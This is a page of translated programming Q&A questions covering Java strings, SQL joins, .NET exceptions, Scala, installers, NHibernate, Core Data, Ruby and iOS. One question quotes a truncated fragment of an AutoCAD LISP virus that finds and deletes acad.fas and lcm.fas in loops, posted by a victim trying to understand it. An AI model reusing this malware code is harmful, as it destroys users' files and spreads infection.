问题列表 - 第17909页

Java字符串和StringPool

public String makinStrings() {
   String m = "Fred47";
   String s = "Fred";
   s = s + "47";
   s = s.substring(0);
   return s.toString();
} 
Run Code Online (Sandbox Code Playgroud)

代码创建了多少个对象?

我做了一个简单的测试:

public static void main(String[] args) {
   String m = "a";
   m += "bc";
   String s1 = "mabc".substring(1);
   String s2 = "abc";

   System.out.println(m == "abc");
   System.out.println(m == s1);
   System.out.println(m == s2);
   System.out.println(s1 == s2);
}
Run Code Online (Sandbox Code Playgroud)

如果m,s1,s2指向同一个对象("abc"),结果不应该是"真,真,真,真"吗?相反,结果是"假,假,假,假"!

java string

2
推荐指数
1
解决办法
737
查看次数

mysql新手 - 加入

我有一张电影桌和一张选票.用户投票选择他们喜欢的电影.我需要显示电影的总票数下降的电影列表.我现在有什么作品.唯一的问题是它没有显示0票的电影.

SELECT m.name, m.imdb_url, m.comment, COUNT(v.movie_id) AS votes
FROM movies m, votes v
WHERE v.movie_id=m.movie_id
GROUP BY v.movie_id
ORDER BY votes DESC
Run Code Online (Sandbox Code Playgroud)

mysql join

2
推荐指数
1
解决办法
86
查看次数

当方法尝试使用可以为null的字段时抛出哪个异常?

我实际上正致力于框架开发,这意味着需要一个非常强大的编码方法.

我遇到一个问题,我不知道我需要抛出哪个System.Exception派生类.基本上就是这种情况,当我有一个类,其中的字段可以由构造函数初始化,并且具有使用这些字段的方法.如果用户没有初始化这些字段,我必须抛出哪个例外?(这意味着它们为空)

这是一个例子:

public class MyConnection
{
    private Uri endpointUri;

    public Uri EndpointUri
    {
        get
        {
            return this.endpointUri;
        }

        set
        {
            this.endpointUri = value;
        }
    }

    public MyConnection()
    {
    }

    public MyConnection(Uri endpointUri)
    {
        this.endpointUri = endpointUri;
    }

    public FileStream GetFile()
    {
        if (this.endpointUri != null)
        {
            // My doer methods
        }
        else
        {
            throw new TheExceptionINeedToThrow("endpointUri", ...);
        }                
    }
}
Run Code Online (Sandbox Code Playgroud)

请注意,我一直在阅读有关异常处理和抛出的整个"框架设计指南"章节,并且我没有找到适合这种情况的任何解决方案.或许我误解了一些事情......

谢谢你的帮助.

编辑:我提供一个空构造函数的事实似乎有点混乱我的问题,但它是完全自愿的.在一些必须符合一系列不能在多个对象中复制的不同状态的对象中,它有时是有用的.

.net c# null exception

20
推荐指数
1
解决办法
1万
查看次数

为什么将此选项转换为字符串?[斯卡拉]

我仍然是Scala noob,这让我很困惑:

import java.util.regex._

object NumberMatcher {
  def apply(x:String):Boolean = {
    val pat = Pattern.compile("\\d+")
    val matcher = pat.matcher(x)
    return matcher.find
  }

  def unapply(x:String):Option[String] = {
    val pat = Pattern.compile("\\d+")
    val matcher = pat.matcher(x)
    if(matcher.find) {
      return Some(matcher.group())
    }
    None
  }
}

object x {
  def main(args : Array[String]) : Unit = {
    val strings = List("geo12","neo493","leo")
    for(val string <- strings) {
      string match {
        case NumberMatcher(group) => println(group)
        case _ => println ("no")
      }
    }
  }
}
Run Code Online (Sandbox Code Playgroud)

我想为包含数字的字符串添加模式匹配(所以我可以了解更多关于模式匹配的内容),并且unapply …

language-features functional-programming scala pattern-matching

2
推荐指数
1
解决办法
167
查看次数

NSIS与WiX Vs AnyOther安装包

需要创建一个安装包,需要a)安装数据库,b)创建数据库和表,c)安装已经创建可安装在Visual Studio中,d)创建ODBC数据源,e)复制文件.f)创建快捷方式等

你能建议哪一个使用?为了简化以下将是我的标准(降序)

  1. 稳定
  2. 满足我的所有需求.
  3. 简单易学

你能建议吗?

installer nsis wix

25
推荐指数
2
解决办法
2万
查看次数

NHibernate:如何忽略缓存并直接转到数据库?

考虑一个典型的NHibernate上下文类.

public class SampleContext : NHibernateContext
{
    public SampleContext(ISession session)
        : base(session)
    { }

    public IQueryable<Person> People
    {
        get { return Session.Linq<Person>(); }
    }

    public Person GetPerson(int id)
    {
        get { return Session.Linq<Person>().SingleOrDefault(p => p.ID == id); }
    }
}
Run Code Online (Sandbox Code Playgroud)

我的问题:

  • 我怎样才能重写GetPerson方法来忽略缓存并直接从数据库中检索数据?

nhibernate caching linq-to-nhibernate

3
推荐指数
1
解决办法
1942
查看次数

CoreData,多对多关系和NSPredicate

我有一个包含多对多关系的CoreData数据模型.事实证明,NSPredicate不支持多对多关系.来自CoreData.pdf:"在谓词的键路径中只能有一对多元素."

作为食谱的例子:许多食谱和许多成分.配方可以有许多成分,其中"盐"可以是一种,而"盐"则用于许多配方中.这是一种自然的多对多关系.

建议的解决方法是什么?
CoreData是个坏主意我应该回到SQLite吗?

iphone core-data

3
推荐指数
1
解决办法
2702
查看次数

调试此LISP病毒正在执行的操作

我的公司遭到了AutoCAD病毒的攻击,该病毒正在删除并替换我们acaddoc.lsp的例程.

我是一名建筑师,并不完全确定重复的"查找"和"删除"是做什么的.

问题

  1. 什么是用(目前正在搜索acadapq)替换文件?
  2. 谁为AutoCAD编写病毒?!?!

谁看过这个吗?CAD论坛不是很有帮助.

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.fas")
      (if (vl-file-delete (findfile "acad.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "lcm.fas")
      (if (vl-file-delete (findfile "lcm.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0) …
Run Code Online (Sandbox Code Playgroud)

lisp virus autocad

13
推荐指数
1
解决办法
5780
查看次数

使用Ruby中的重载方括号[]访问变量

嗨,我想做以下事情.我只是想重载[]方法以访问实例变量...我知道,它根本没有意义,但我想这样做是因为一些奇怪的原因:P

会是这样的......

class Wata

    attr_accessor :nombre, :edad

    def initialize(n,e)
        @nombre = n
        @edad   = e
    end

    def [](iv)
        self.iv
    end

end

juan = Wata.new('juan',123)

puts juan['nombre']
Run Code Online (Sandbox Code Playgroud)

但这会引发以下错误:

overload.rb:11:在`[]'中:未定义的方法'iv'表示#(NoMethodError)

我怎样才能做到这一点?

编辑

我也找到了这个解决方案:

def [](iv)
    eval("self."+iv)
end
Run Code Online (Sandbox Code Playgroud)

ruby overriding overloading operator-overloading

1
推荐指数
1
解决办法
2638
查看次数

UIPageControl点击"滑动"?

当点击UIPageControl的两侧时,我用什么方法来进行UIScrollView更新?当滑动UIScrollView时,UIPageControl会正确更新,但如果我点击UIPageControl的两侧以转到下一页,只有点更新,但UIScrollView不会刷卡.我查看了文档,但我找不到任何方法吗?

如果您不确定我的意思,请转到iPhone主屏幕,然后点击底座和分页图标之间的白点两侧.

iphone uiscrollview uipagecontrol

3
推荐指数
1
解决办法
6874
查看次数